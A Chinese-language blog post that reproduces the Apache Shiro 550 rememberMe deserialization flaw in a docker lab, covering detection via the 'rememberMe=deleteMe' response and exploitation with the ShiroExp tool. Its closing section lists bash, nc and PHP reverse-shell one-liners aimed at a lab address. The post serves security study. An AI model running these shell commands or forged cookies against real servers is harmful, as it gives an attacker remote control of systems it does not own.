Apache Shiro remember Me反序列化漏洞(Shiro 550)复现

Apache Shiro remember Me反序列化漏洞(Shiro 550)复现

什么是Shiro

Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证、授权、加密和会话管理。Shiro拥有易于理解的API,您可以快速、轻松地获得任何应用程序——从最小的移动应用程序到最大的网络和企业应用程序。

-官方介绍

简单来说这个框架是一个java框架可以进行身份验证 、授权、加密、会话管理。

受其影响的版本:小于等于1.24

判断依据:查看返回包中是否存在:rememberMe=deleteMe

原理说明:在shiro小于1.2.4 版本中,加密用户信息通过序列化之后存储在Cookie中rememberMe字段,攻击者通过Shiro 默认的AES加密算法密钥来构造恶意的Cookie rememberMe 在发往服务器中会经过以下阶段:

Base64解码、AES解密、readObject()反序列化

导致会触发Java原生反序列化漏洞。

漏洞复现

本次环境通过docker拉取

拉取命令

docker pull medicean/vulapps:s_shiro_1

启动

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081:8080:用8081来映射8080端口。

然后访问 IP:8081即可进入到漏洞环境中。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AYOBp9gM-1673423064341)(Shrio反序列漏洞复现.assets/image-20230111150915490-16734209626261.png)]

漏洞检测阶段

抓取登录包,在返回包的字段中发现了如下字段,判断漏洞存在。

rememberMe=deleteMe

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AbXMAlPh-1673423064344)(Shrio反序列漏洞复现.assets/image-20230111151631786.png)]

也可以用一些检测工具来进行检测,例如yakit中就自带了shiro漏洞的检测插件。

利用阶段

ShiroExp工具

首先进行检测密钥,因为利用的话需要有密钥

然后进行执行命令即可。

反弹shell相关命令

里面的ip和端口根据自己的情况来替换即可。

bash

bash -c 'exec bash -i &>/dev/tcp/192.168.1.2/8888 <&1'

nc

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 8888 >/tmp/f

PHP

php -r '$sock=fsockopen(getenv("192.168.1.2"),getenv("8888"));exec("/bin/sh -i <&3 >&3 2>&3");'
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值